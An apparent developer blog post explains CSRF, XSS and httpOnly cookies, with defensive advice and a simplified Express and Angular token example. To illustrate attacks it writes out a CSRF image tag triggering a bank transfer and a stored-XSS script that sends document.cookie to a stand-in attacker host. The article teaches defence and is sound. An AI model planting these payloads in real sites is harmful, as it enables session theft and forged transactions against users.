← Retour au blog
sécuritéCSRFXSScookiesAngular

CSRF, XSS, and httpOnly Cookies: The Trinity of Modern Web Security

Security flaws tied to sessions, cookies, and code injection remain among the most exploited vectors in 2026. Contrary to popular belief, these vulnerabilities don't vanish with modern frameworks: they evolve. Angular, React, Vue.js, or any client-side framework won't magically protect you from CSRF (Cross-Site Request Forgery) or XSS (Cross-Site Scripting). The real security battle is fought on the server, and that's where developers often show naive thinking. This article exposes the three pillars of a defensive strategy: understanding the threat, implementing countermeasures, and crucially, avoiding false sense of security.

Understanding CSRF: When Your Browser Becomes a Weapon

CSRF is an attack where a malicious third party tricks your browser into performing an unintended action on a site where you're logged in. Picture this: you're authenticated on your bank's website. In another tab, you visit a malicious site containing a simple <img src="https://bank.com/transfer?amount=10000&to=attacker"> tag. Your browser automatically executes this GET request, sending your session cookies along with it. The transaction happens, and you might never know. Why? Because cookies are automatically sent by the browser with every request to the target domain, regardless of where the request originates.

The standard defense against CSRF is the *CSRF token* or *anti-CSRF token*. The principle is straightforward: for every sensitive action (POST, PUT, DELETE), the server generates a unique, opaque, and unpredictable token, which it sends to the client. The client must include this token in the X-CSRF-Token HTTP header or in the request body. Since the malicious site cannot read this token (thanks to the Same-Origin Policy), it cannot forge a valid request. Modern frameworks like Django, Rails, or Laravel include this protection by default. With Angular, you must implement this manually or via an HTTP interceptor.

XSS: Code Injection That Executes in Your Users' Browsers

XSS breaks down into three categories. Stored XSS is the most dangerous: an attacker injects malicious code into your database through a form. Every user viewing that data executes the code. A classic example: a comment field that doesn't escape HTML tags. The attacker writes <script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script> . When other users read the comment, the script steals their cookies. Reflected XSS requires a malicious link: https://your-app.com/search?q=<script>...</script> . If the server returns the value of q without escaping in the HTML, the script executes. DOM-based XSS occurs when client-side code reads untrusted data and places it directly in the DOM without validation.

Preventing XSS starts with escaping. Every piece of user data must be escaped according to context: HTML, JavaScript, URL, CSS. In Angular, this is transparent: the template engine automatically escapes interpolations like {{ data }} . But the moment you use [innerHTML] or bypassSecurityTrustHtml() , you bypass this protection. A dangerous example: <div [innerHTML]="userComment"></div> if userComment contains malicious code. Angular will even flag this with a security warning. You can also implement a Content Security Policy (CSP) that prevents execution of unauthorized scripts, even if injected.

httpOnly Cookies: The Invisible Barrier Against XSS

A cookie marked httpOnly is invisible to client-side JavaScript. The browser still sends it automatically with every HTTP request, but document.cookie cannot access it. This is critical for session tokens. If your session cookie is accessible to JavaScript ( httpOnly: false ), any XSS can steal it. With httpOnly: true , even a successful XSS cannot access the token. The server must set the cookie during authentication: Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict . The Secure flag ensures it's only sent over HTTPS. The SameSite flag adds another anti-CSRF layer.

The SameSite flag deserves special attention. With SameSite=Strict , the cookie is only sent if the request originates from the same site. This breaks standard form navigation (an external link to your app doesn't carry the cookie), so SameSite=Lax is often preferred. With Lax , the cookie is sent for GET navigation requests (links, redirects), but not for cross-site POST requests. It's a solid compromise. SameSite=None disables the protection, useful only if your API is called by third parties (and then, Secure is mandatory).

A Concrete Example: Implementing Protection in Angular + Express

Here's a small Express server handling authentication securely. At login, it generates a JWT token, stores it in an httpOnly cookie, and returns a CSRF token in the JSON response. The Angular client uses it for subsequent requests. Server code (simplified): app.post('/login', (req, res) => { const sessionId = generateSecureToken(); const csrfToken = generateSecureToken(); res.cookie('sessionId', sessionId, { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 3600000 }); res.json({ csrfToken }); }); . In Angular, an interceptor adds the CSRF token to every request: intercept(req, next) { const token = sessionStorage.getItem('csrfToken'); if (token && req.method !== 'GET') { req = req.clone({ setHeaders: { 'X-CSRF-Token': token } }); } return next.handle(req); } . The server validates the token before executing the action.

The Common Pitfall: Confusing Client-Side and Server-Side Security

Many developers believe that client-side data validation is sufficient for security. It's not. Everything happening in JavaScript can be bypassed. A malicious user can open the console and send any request they want. Client-side validation is useful for user experience (immediate feedback), but real security happens on the server. Similarly, some believe storing a token in localStorage is secure enough. localStorage is accessible to any JavaScript, including XSS. A token in an httpOnly cookie is always better. Finally, ignoring CSRF because you think GET requests are harmless is dangerous: CSRF attacks work on GET for sensitive actions too (though POST is the standard).

Conclusion: Defense in Depth

Web security isn't a checkbox. CSRF, XSS, and cookie management are the foundations. Implement CSRF tokens systematically for mutations (POST, PUT, DELETE). Escape all user data in your templates, and use CSP for an extra layer. Store session tokens in httpOnly cookies with appropriate Secure and SameSite flags. In Angular, trust the template engine for escaping, and use HTTP interceptors to inject tokens automatically. Test your defenses: tools like OWASP ZAP simulate common attacks. Finally, stay vigilant: best practices evolve, and a flaw ignored today will be exploited tomorrow. Security is a continuous process, not a destination.

Développeur Angular & Mobile freelance — Strasbourg.

© 2026 Emilien Pons — Tous droits réservés.Conçu avec Angular, PrimeNG et ❤️